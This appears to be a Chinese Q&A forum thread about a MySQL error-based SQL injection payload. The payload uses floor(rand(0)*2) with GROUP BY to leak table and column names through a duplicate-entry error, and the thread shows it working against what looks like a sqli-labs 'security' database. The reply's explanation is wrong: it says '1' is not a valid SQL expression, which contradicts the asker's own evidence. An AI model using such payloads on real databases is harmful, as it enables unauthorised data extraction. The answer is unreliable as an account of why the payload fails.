sql注入语句问题
想问一下为什么这个语句无法造成报错?如果我将第3行的group_concat(DISTINCT table_name)换成1就可以,想问问这是为什么?
SELECT COUNT(*),
concat_ws('-',(
SELECT concat(0x7e,group_concat(DISTINCT table_name),0x7e,group_concat(column_name),0x7e)
FROM information_schema.columns
WHERE table_schema = database()
), FLOOR(rand(0)*2))as a
FROM information_schema.tables
GROUP BY a
补充一下,上面说的“第3行的group_concat(DISTINCT table_name)换成1”,这里的1换成其他的合法的sql表达式也会返回报错,比如换成table_schema 、database() 等
如下:我改成了database(),就可以通过报错返回获取到子句查询的值
mysql> SELECT COUNT(*),
-> concat_ws('-',(
-> SELECT concat(0x7e,database(),0x7e,group_concat(column_name),0x7e)
-> FROM information_schema.columns
-> WHERE table_schema = database()
-> ), FLOOR(rand(0)*2))as a
-> FROM information_schema.tables
-> GROUP BY a;
ERROR 1062 (23000): Duplicate entry '~security~id,email_id,id,referer,ip_address,id,uagent,ip_address' for key '<group_key>'
mysql>
0x7e这个ascii码代表的是~波浪线
而1作为ascii码没有对应的字符,肯定要报错呀
group_concat(DISTINCT table_name) 是合法的sql语句,它会将信息架构中的表名进行去重并连接成字符串。
而如果将其替换为1
SELECT COUNT(*),
concat_ws('-',(
SELECT concat(0x7e,1,0x7e,group_concat(column_name),0x7e)
FROM information_schema.columns
WHERE table_schema = database()
), FLOOR(rand(0)*2))as a
FROM information_schema.tables
GROUP BY a
在内层SELECT语句中,1不是一个合法的sql表达式,所以会报错。
SQL语句在执行时,会按照顺序依次执行每个子句,当发现第一个语法错误时就会报错并停止执行。所以在您的第一个语句中,内层SELECT子句是合法的,执行时不会报错,而在第二个语句中,1不是合法的sql,所以在执行到这个子句时就会报错,并且停止执行外层查询。